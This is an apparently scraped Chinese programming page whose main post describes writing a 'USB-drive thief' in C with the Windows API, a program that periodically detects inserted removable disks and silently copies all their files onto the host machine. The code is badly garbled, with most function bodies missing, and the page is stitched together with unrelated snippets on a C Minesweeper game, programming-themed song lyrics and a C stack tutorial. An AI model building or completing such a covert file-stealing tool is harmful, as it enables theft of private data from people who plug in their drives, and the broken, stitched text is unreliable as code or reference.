看某期《黑客防線》上有介紹編寫「u盤小偷」這個盜取u盤內所有檔案的程式的文章,反正也沒事做,自己也寫了乙個。文中是用vc++加mfc寫的,我用c、api來寫,而且名字叫「u盤大盜」,不然怎麼會叫diy呢^_^
原理很簡單,就是每隔一段時間探測驅動器,發現可移動盤就把裡面的內容copy到機器上。幾下子就搞定。**如下,有關函式的可參考msdn、csdn搜尋(還多虧了它呢)。
#include "windows.h"
#include "stdio.h"
#include "string.h"
#include "direct.h"
char dir[260];
/*看好啦,偷東西咯~
*/void copy( char* filename )
void createdir( char * path )
/*這個函式就是遍歷目錄得到檔案
*/void getfile( char* filepath )
else
else
}}while( findnextfile( hfind,&findfiledata ) ); }
findclose(hfind);}
/* 這個函式檢測是否為可移動磁碟
*/int checkdisk(char *disk)
int steal() }}
lod=lod>>1; }
}return 0; }
int main(int argc, char* argv)
}else
else
printf("parameter %s is invalid",argv[1]); }
return 0; }
C語言版掃雷
用c語言實現掃雷,首先應該有基本的思路,建立兩個相同大小的陣列,乙個用於布雷 初始化為全0,布雷時將雷置為1 另乙個給使用者展示 初始化為星號,使用者輸入座標後統計周圍雷的分布並列印雷的個數 由於需要統計每個座標周圍類的個數,所以將陣列建立大一圈,以方便統計。若輸了,列印出雷陣告訴玩家雷的分布。具體...
雙截棍 C語言版
雙截棍c 語言版 軟考室的菸味瀰漫坐滿了程式設計師 室裡面的監考官係分已三年 出上午試題的老師練cpu 耍微控制器 硬體功夫最擅長還會邏輯門三極體 他們學生我習慣從小就耳濡目染 什麼軟體跟網路我都耍的有摸有樣 什麼語言最喜歡c 物件導向 想要去英倫美帝學圖靈諾伊曼 怎麼編怎麼編離散數學是關鍵 怎麼編...
棧 C語言版
棧 lifo 運算所限的線性表,限制它的插入和刪除操作僅在表的一段進行。棧頂 top 插入 刪除。另一端為棧底。n 0稱為空棧,插入新元素稱為入棧 進棧。刪除稱為出棧 退棧。特點 先進後出。基本運算 初始化棧 判斷空 入棧 出棧 讀棧頂元素。順序棧儲存結構 初始化棧 stack init 判斷空 入...